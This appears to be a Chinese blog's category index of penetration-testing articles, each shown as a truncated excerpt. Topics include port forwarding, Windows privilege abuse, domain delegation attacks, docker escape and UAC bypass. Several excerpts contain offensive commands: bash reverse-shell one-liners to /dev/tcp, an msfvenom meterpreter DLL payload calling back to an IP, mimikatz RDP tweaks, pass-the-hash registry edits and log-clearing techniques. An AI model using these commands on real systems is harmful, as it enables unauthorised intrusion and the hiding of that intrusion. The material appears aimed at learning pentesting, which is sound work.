渗透测试基础知识
文章平均质量分 72
Shanfenglan7
优秀是一种习惯。
展开
-
网络基础知识回顾
文章目录交换机路由器防火墙vlan协议PPTPL2TPGREhttp头http请求头http响应头常见http响应码交换机主要作用是将数据包分配给指定mac地址的机器。在数据链路层根据mac地址分配数据包,交换机可以组成局域网。路由器主要作用就是将数据包根据路由规则走最有效率的路由路径送往不同的目的地,中间会跨网段。在网络层根据ip地址传递数据包,可以让数据包在不同的网段间流通,通过不同的路由策略到达最终的目标。可以通过在路由器上配置访问列表,达到防火墙的部分效果。具体效果为,限制具体时间段可原创 2022-04-27 09:32:02 · 4357 阅读 · 0 评论 -
springmvc基础知识点学习
文章目录1. 常见注解1. @RequestMapping2. @ResponseBody3. @RequestBody4. @RequestParam5. @RestController6. @Controller7. @SessionAttributes2. Model类1. ModelAndView类2. Map类3. springmvc工作流1. 常见注解有点类似于提前编写好的一些函数,使用注解就是使用这些函数来实现自己的一些目的.1. @RequestMapping它是用来做映射的.@R原创 2022-03-31 17:53:01 · 361 阅读 · 0 评论 -
java代码审计-java基础-1
1. 基础知识jvmjava反射机制复习利用反射机制,可以调用类中protected属性的方法。想要创建一个类的对象或者说实例就必须将先将这个class文件加载到jvm中。Java中class的加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希原创 2022-02-14 18:40:36 · 869 阅读 · 0 评论 -
cs的常用命令操作
信息收集#列出正在登陆的用户net logons #列出域控(组)net domain_controllers#列出域控列表 net dclist #显示当前域 net domain #列出当前session net sessions #列出盘符 drives列出当前执行时间很久的任务并删除jobsjobkill取消正在下载的文件cancel 1.txt创建凭据并执行命令(无回显)工作组中如果两个机器密码或者说登陆凭据是相同的,那么可以直接dir \ip\c$ 成原创 2022-01-11 12:44:47 · 5194 阅读 · 0 评论 -
jwt攻击总结
文章目录1. 通过修改header中的alg字段实现攻击2. 通过爆破密钥3. 修改kid实现攻击4. 修改加密算法参考文章jwt格式举例如下,以点来分割,总共为三部分:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQjwt是一种类似于token、session的用户身份凭据。原创 2021-12-31 10:05:54 · 8972 阅读 · 0 评论 -
windows远程下载的新方案
文章目录1. 搭建dns服务器2. 将要下载的文件转化格式3. 将数据输入到dns服务器中4. 下载文件并执行5. 参考文章因为udp包最大只有65535byte,所以:只能传递66k以下的文件只能传递66k以下的文件只能传递66k以下的文件1. 搭建dns服务器yum -y updateyum -y install bind bind-chroot bind-utilsvim /etc/named.conf并添加 forwarders { 8.8.8.8; };,最终如下:修改原创 2021-12-30 22:18:24 · 2100 阅读 · 0 评论 -
spring相关漏洞复现
文章目录1. H2 Database web端未授权访问导致的rce2. Spring Security OAuth2 rce -- CVE-2016-49773. Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)4. Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)1. H2 Database web端未授权访问导致的rce2. Spring Security OAuth2 rce – CVE-2016-4977Spring Se原创 2021-12-30 18:50:06 · 1243 阅读 · 0 评论 -
socks服务搭建总结
文章目录1. 涉及到的工具2. frsocks1. 一层2. 两层3. 三层1. 涉及到的工具frsocksioxewfrpneo-regeorgtfirewall2. frsocks1. 一层frsocks_windows_386.exe -sockstype fsocks -listen 99992. 两层3. 三层原创 2021-12-24 17:02:53 · 2345 阅读 · 0 评论 -
端口复用实现
文章目录1. 前言2. 实现2.1 开启http服务2.2 开启socks服务2.3 通过protoplex实现端口复用2.4 最后一步端口转发2.5 最终效果参考文章1. 前言我们要实现的是外界访问80端口,根据协议不同的到的响应就不一样,使用的协议可以是socks也可以是http。2. 实现2.1 开启http服务python -m http.server 802.2 开启socks服务frsocks_windows_386.exe -sockstype fsocks -listen原创 2021-12-24 15:44:27 · 3862 阅读 · 0 评论 -
端口转发总结归纳
文章目录1. windows1.1 netsh基础命令1. 本地转发2. 远程转发1.2 natbypass基础命令1. 本地转发2. 远程转发1.3 ew基础命令1. 本地转发2. 远程转发2. linux2.1 iptables1. 本地转发2. 远程转发2.2 ssh1. 本地端口转发2. 远程端口转发3. socks代理4. 清除设置的代理2.3 firewall2.4 socat2.5 portmap1. 本地端口转发3. 参考文章1. windows1.1 netsh需要管理员权限防火墙原创 2021-12-21 16:14:36 · 8351 阅读 · 1 评论 -
ubuntu安装svn并使用
文章目录1. 安装svn2. 创建版本库3. 更改配置4. 添加svn用户名密码5. 修改authz配置文件6. 启动svn7. 连接svn1. 安装svnsudo apt-get install subversion2. 创建版本库先在桌面创建一个文件夹:touch /root/Desktop/test执行命令:sudo svnadmin create /root/Desktop/test3. 更改配置更改conf/svnserve.conf文件的配置,添加如下配置:#匿名用原创 2021-12-01 17:22:07 · 2532 阅读 · 0 评论 -
反弹shell命令
文章目录Bash TCPBash UDP:Netcat:Ncat:Telnet:Socat:Perl:Python:PHP:Ruby:OpenSSL:Powershell:Awk:TCLshJava:War:Lua:NodeJS:Groovy:Meterpreter Shell:Xterm:Bash TCPbash -i >& /dev/tcp/127.0.0.1/8080 0>&1/bin/bash -i > /dev/tcp/127.0.0.1/8080 0&l原创 2021-10-29 13:24:09 · 2680 阅读 · 0 评论 -
linux上的PAM后门理解与学习
文章目录1. 什么是PAM2. 读懂PAM配置文件1. 什么是PAM全称为Pluggable Authentication Modules,是一种身份认证机制。直译是可插入的身份验证模块。简单理解为,应用程序可以调用PAM给的接口来进行身份验证而不用自己去写详细的身份验证模块,将身份验证端于服务端分离,根据返回值来决定验证是否通过进而是否提供服务,具体验证规则取决于自定义的配置文件,也就是/etc/pam.d/下的配置文件,例如sshd服务的配置文件就为/etc/pam.d/sshd。2. 读懂P原创 2021-09-09 21:33:03 · 1306 阅读 · 0 评论 -
PTH登陆RDP
修改注册表:REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /fREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" #查询结果利用过程在本地计算机使用mimikatz登陆远程主机privilege::debugse原创 2021-06-30 11:00:25 · 1746 阅读 · 1 评论 -
利用iptables实现端口转发
文章目录1. 前置知识1.1 iptables2. 实现2.1 本地端口转发2.2 分流2.3 远程端口转发参考文章1. 前置知识端口转发条件:机器的root权限远程转发的时候,机器需要有外网ip1.1 iptables下图简要描述了网络数据包通过 iptables 的过程:iptables有很多表:具体区别如下:默认情况下修改的是filter表,如果我们想修改其他表,必须加上参数-t,由于我们今天讲的是端口转发,因此修改的会是nat表。nat表由postrouting,output原创 2021-06-15 17:05:44 · 10944 阅读 · 8 评论 -
ptunnel进行ICMP穿越
环境ABCD四台主机,ABC可以相互访问,D只能跟C之间通过ICMP协议进行访问。现需要实现A访问D。假设我们最终实现了,通过访问主机b的123端口实现了访问主机D的3389.实现在C主机上直接执行ptunnel命令,这时候C就是ptunnel的服务端。在B主机上执行:ptunnel -p 主机c的ip -lp 123 -da 主机D的ip -dp 3389 -x 1234在主机A上执行mstsc /v:主机B的ip:12345参考文章使用ptunnel进行ICMP穿越...原创 2021-04-20 10:30:55 · 216 阅读 · 0 评论 -
sqli-labs攻关记录
文章目录注入逻辑less-1less-2注入逻辑闭合语句测试字段数找回显点,如果找不到看能不能报错,直接走报错注入的流程如果可以找到回显点,则正常爆数据库名、表名、字段名、值less-1就是一个普通的字符型注入,没什么特别的。经测试过滤了#,但用%23可以绕过。–没有被过滤。?id=1' order by if(1=1,(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)),1)%23这条语句可以爆破出数据库,证明报错注入可以用,原创 2021-03-15 10:28:43 · 354 阅读 · 0 评论 -
nmap用法记录
前言今天在公众号上发现了一个比较完善的用法,所以记录一下。nmap用法摘录自:https://mp.weixin.qq.com/s/ph8b0oA31f_HyzltnKxqdA0x01 目标规格nmap 192.168.1.1 扫描一个IPnmap 192.168.1.1 192.168.2.1 扫描IP段nmap 192.168.1.1-254 扫描一个范围nmap nmap.org原创 2021-03-15 10:12:00 · 494 阅读 · 0 评论 -
xshell7配置文件密码破解
工具how-does-Xmanager-encrypt-password实现xshell配置文件位置:xshell7: C:\Users\%username%\Documents\NetSarang Computer\7\Xshell\Sessionsxshell6: C:\Users\%username%\Documents\NetSarang Computer\6\Xshell\SessionsXShell5: %userprofile%\Documents\NetSarang原创 2021-02-04 23:05:25 · 14069 阅读 · 3 评论 -
(踩坑)劫持CLSID进行bypassuac
CATALOG前言实现1.条件2.实现过程防御方法前言我对clsid的理解就是一条命令或者一个程序或者一个文件,有些程序在启动的时候会查询注册表里面的某个clsid,并对其值进行操作,有可能是clsid中指定执行命令,有可能是加载clsid中指定的文件等等。官方的clsid的解释是:class identifier(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。实现1.条件我们通过procmon这个软件找到合适被劫持的CLSID,适合被劫持的CLSID的原创 2020-11-10 18:21:29 · 103606 阅读 · 6 评论 -
修改%windir%配合计划任务实现bypassuac
前言查msf报错的时候偶然看到这篇文章,于是做了实验并进行记录。原理实现防御方法监控对注册表环境变量属性的更改。参考文章Powershell real UAC Bypass原创 2021-01-31 13:34:15 · 652 阅读 · 0 评论 -
工作组环境绕过限制同时登录多个用户到主机3389的方法
前言工作组环境中,如果机器已经有人登录,这时候使用3389端口登陆其桌面就会出现下面的情况:如果点击是则会挤掉另一个用户,这样就会被用户发现,现在提供一种方法来绕过这种限制。绕过在对方主机上以管理员权限执行mimikatz的命令:privilege::Debugts::multirdp执行成功后使用远程桌面登陆,此时不会挤掉对方已经登陆的用户了:缺点对方主机重启后就会失效。...原创 2021-01-28 11:06:11 · 5399 阅读 · 9 评论 -
linux计划任务踩坑
文章目录1.前言2.前置知识3.测试3.1 使用crontab来设置计划任务3.2 直接编辑文件设置计划任务4.总结5.参考文章1.前言在linux渗透测试的时候,有时会选择使用计划任务crontab来进行权限维持或者反弹shell,在自己做测试的时候遇见了几个特殊的点做一下记录。2.前置知识各个用户的计划任务文件存在/var/spool/cron/crontabs/中,以用户名来命名。系统级别的计划任务文件存在/etc/crontab,无论什么用户登陆,都会执行这个文件中的计划任务。cront原创 2021-01-18 18:05:12 · 7384 阅读 · 4 评论 -
子域名收集方法总结
文章目录1. 通过nmap1.1 通过svr进行子域名收集1.2 通过域传送收集子域名2. 利用证书透明度收集子域3. 公网的公开数据4. 利用威胁情报平台数据收集子域5. 利用googlehacking6. 利用工具查询7. 参考文章1. 通过nmap1.1 通过svr进行子域名收集原理:通过枚举常见的SRV记录并做查询来收集子域srv,以及通过查询域名的DNS记录中的MX,NS,SOA,TXT记录来收集子域。SRV记录: 添加服务记录服务器服务记录时会添加此项,SRV记录了哪台计算机提供了哪原创 2021-01-07 10:34:12 · 18563 阅读 · 4 评论 -
windows九大权限的分析与利用
文章目录1.前言2.常见的权限集合可被进一步利用的权限3.补充:权限的状态到底有什么意义4.利用4.1 SeImpersonatePrivilege4.2 SeAssignPrimaryPrivilege4.3 SeTcbPrivilege4.4 SeBackupPrivilege4.5 SeRestorePrivilege4.6 SeCreateTokenPrivilege4.7 SeLoadDriverPrivilege4.8 SeTakeOwnershipPrivilege4.9 SeDebugPri原创 2020-12-30 16:32:24 · 27900 阅读 · 6 评论 -
windows文件执行记录的获取与清除
文章目录前言日志查看1. 进程创建记录2.Program Inventory Event Log3.Program-Telemetry Event Log4.查询特定类别日志日志删除1.删除全部的某类日志2.逐条删除日志2.1 导出Security2.2批量删除指定条目的日志2.3 还原evtx文件绕过windows的日志记录功能参考文章前言本文主要介绍了如何利用命令行来获取或者清除文件执行记录等日志。对日志的删除需要在管理员权限下才可以,图形化界面查看日志的命令为eventvwr。日志查看1. 进原创 2020-12-29 15:58:56 · 36331 阅读 · 5 评论 -
基于windows中委派的攻击思路(下)-基于资源的约束性委派
文章目录1. 前言2. 技术点2.1 利用原理:那么如何获得一个机器账户呢?如何获得一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity?3. 利用过程:1. 利用powermad添加机器账户:2. 查询添加的机器账户的sid3. 修改msDS-AllowedToActOnBehalfOfOtherIdentity:3.1 win server 2012以上:3.2 win server 2012以下:4. 利用rubues获取票据5.利用impacket1. 前原创 2020-12-16 12:21:33 · 40179 阅读 · 11 评论 -
基于windows中委派的攻击思路(上)-约束性委派与非约束性委派
1.前言委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:非约束性委派约束性委派基于资源的约束性委派这篇文章主要对这三种委派方式相关的攻击方式进行总结。关于委派的其他细节理解可以参看windows中关于委派(delegation)的理解。2.发现具有委派关系的用户和计算机原理:当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION当服务账号或者主机被设置为约束性原创 2020-12-10 18:36:44 · 50342 阅读 · 13 评论 -
LDAP简述与相关攻击手法
文章目录1. 前言2. LDAP为什么会存在?2.1 目录服务2.2 LDAP解决了什么问题3. LDAP到底是什么4. LDAP部分细节5. AD与LDAP的关系6.思考7.参考文章1. 前言LDAP是我经常听到的词汇,但一直没有对其进行系统但学习,现在专门写一篇文章记录对其对理解。2. LDAP为什么会存在?我们首先得理解LDAP这个东西为什么会存在,这时候就有一个概念出现了,它就是目录服务。2.1 目录服务在局域网中为了方便主机管理,一般使用DHCP分配IP地址给局域网内的各个资产来方便定原创 2020-12-07 17:35:56 · 50484 阅读 · 7 评论 -
msf的getsystem命令原理与windows命名管道
CATALOG1.前言2.windows命名管道3.msf中getsystem原理4.参考文章1.前言之前已经写过了winodws命名管道相关的知识,在我的由psexec远控的实现原理到windows命名管道这篇文章中,最近复习的时候又看到了,同时对其有了新的理解,进而又想起了msf中getsystem的原理发现两者刚好有所关联,于是有了这篇文章。2.windows命名管道首先我们需要明确的一点,命名管道基于smb协议通信,smb,smb。重要的事情说三遍。它是用来让两个进程间进行通信的,这两个进原创 2020-11-23 17:20:03 · 77726 阅读 · 7 评论 -
对tcp三次握手四次挥手的一点小理解
CATALOG1.前言2.三次握手3.四次挥手4.参考文章1.前言网络通信的实体是不同主机之间进程的通信,也就是端到端通信,其过程借助于TCP或者UDP协议,基于端口。倘若利用TCP协议,则传输前有三次握手,传输后有三次挥手,是一个可靠传输。倘若利用UDP协议,传输前不需要建立连接,对方收到后也不需要发送确认,是一个不可靠的传输,但是胜在消耗资源少,速度快。2.三次握手首先我们需要知道为什么要三次握手而不是两次。原因是为了防止之前传输过的请求连接的数据包延时到达服务器后,服务器再次创建新的连接而原创 2020-11-18 12:12:50 · 85985 阅读 · 6 评论 -
拿到域管权限后的域内网络拓扑
CATALOG1.前言2.实现本机使用dnscmd进行远程查询2.1 获取拥有admin$共享权限的shell2.2 获取admin$共享后的操作2.3获取dns记录3.使用域控的shell进行查询3.1使用工具获取域控的shell3.2执行命令进行查询4.参考文章1.前言拿到域管权限后我们除了做权限维持之外还需要对域内的网络情况进行探索,这篇文章就这项技能做一个概述。2.实现本机使用dnscmd进行远程查询首先我们需要利用域管凭据获得admin$共享,或者直接获得域控机器的shell。2.1 获原创 2020-11-13 17:34:56 · 100068 阅读 · 7 评论 -
linux进程隐藏与对抗
CATALOG前言实现方法1.命令替换实现方法对抗方法2.Hook系统调用实现方法:对抗方法:3.利用mount命令进行挂载实现方法对抗方法前言这篇文章主要做一个技术点的记录,过去接触比较少,现在对其进行一个小结。实现方法1.命令替换实现方法替换top、ps等命令对抗方法使用stat命令查看文件状态并且使用md5sum命令查看文件hash并将其与正常文件hash进行比较。如果确定被替换,使用正常文件替代坏文件即可。2.Hook系统调用比如说ps这个命令:原理:(1)调用opena原创 2020-11-12 11:34:44 · 100752 阅读 · 5 评论 -
使用xwizard命令加载dll
CATALOG前言实现第一步:生成恶意dll文件第二步:移动xwizard.exe第三步:利用防御方法参考文章前言一种新的加载dll的方式,不会触发uac。实现第一步:生成恶意dll文件首先使用msfvenom生成一个dll文件。msfvenom -p windows/x64/meterpreter/reverse_http LPORT=9090 LHOST=172.16.250.1 -f dll > xwizards.dll第二步:移动xwizard.exe我是将c:\window原创 2020-11-11 16:55:56 · 101665 阅读 · 8 评论 -
powerview使用记录
CATALOG前言常用命令1.Get-Domain2.Get-DomainController3.Get-NetUser4.Get-NetLocalGroup其他前言很久前就知道了这个脚本,可惜一直没有抽空去研究它的用法,今天决定完成这件事。常用命令进入powershell改变当下执行策略:Set-ExecutionPolicy Bypass -Scope Process加载模块:. .\PowerView.ps1命令:1.Get-Domain获取域的信息2.Get-DomainCo原创 2020-11-11 12:28:27 · 45904 阅读 · 6 评论 -
Msfvenom的简单用法
CATALOG1.常见高级参数2.常用生成载荷命令2.1 生成linux系统反向shell载荷2.2 生成windows系统载荷2.3 生成web类型载荷2.4 生成语言类载荷1.常见高级参数参数字段效果set PrependMigrate true启用迁移进程(默认为:false)set PrependMigrateProc explorer.exe迁移到此进程名:explorer.exeset SessionExpirationTimeout 0会话超时时间0秒原创 2020-11-04 11:55:58 · 73202 阅读 · 6 评论 -
利用msf进行后渗透中常见的知识点
内网代理首先需要一个session搭建路由然后配置路由,比如我们配置让这个session来转发我们访问的172.16.250.0/24这个网段的所有流量。这时候我们需要在meterpreter里面执行run autoroute -s 172.16.250.0/24执行完后,可以将这个shell放到后台(利用bg命令)然后使用route print来查看配置是否成功,成功的范例如下:配置socks5这时候我们已经搭好了路由,但是还不能使用,这时候还需要创建一个socks5,然后通过pr原创 2020-10-28 17:34:18 · 99653 阅读 · 8 评论 -
域密码喷洒实现
域密码喷洒利用一个powershell工具完成DomainPasswordSpray利用工具:DomainPasswordSpray命令下载工具curl https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1 > C:\Users\Administrator\Desktop\1.ps1powershell (new-object System.Net.W原创 2020-10-27 12:50:40 · 95766 阅读 · 7 评论 -
docker逃逸的几种方法以及其原理
CATALOG前言利用dirty cow来进行docker逃逸1.前置知识2.利用dirty cow与VDSO来实现docker逃逸的过程3.利用过程1.判断是否为docker环境2.下载脚本3.利用脚本4.利用结果通过cve-2019-5736来达到docker逃逸1.利用原理与条件2.漏洞触发过程3.具体操作第一步:确定docker环境第二步:下载利用脚本并修改第三步:编译脚本第四步:将编译好的main文件上传到docker中第五步:执行脚本并等待此docker再次被exec4.对此种方式利用的理解配置原创 2020-10-22 16:31:32 · 124813 阅读 · 8 评论 -
/etc/shadow与/etc/passwd格式与shadow密码爆破
CATALOG/etc/passwd格式/etc/shadow格式shadow密码爆破利用hashcat实现/etc/passwd格式root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin上面数据为passwd文件的一个片段,我们可以发现每一行都被分号原创 2020-10-20 12:35:29 · 119946 阅读 · 8 评论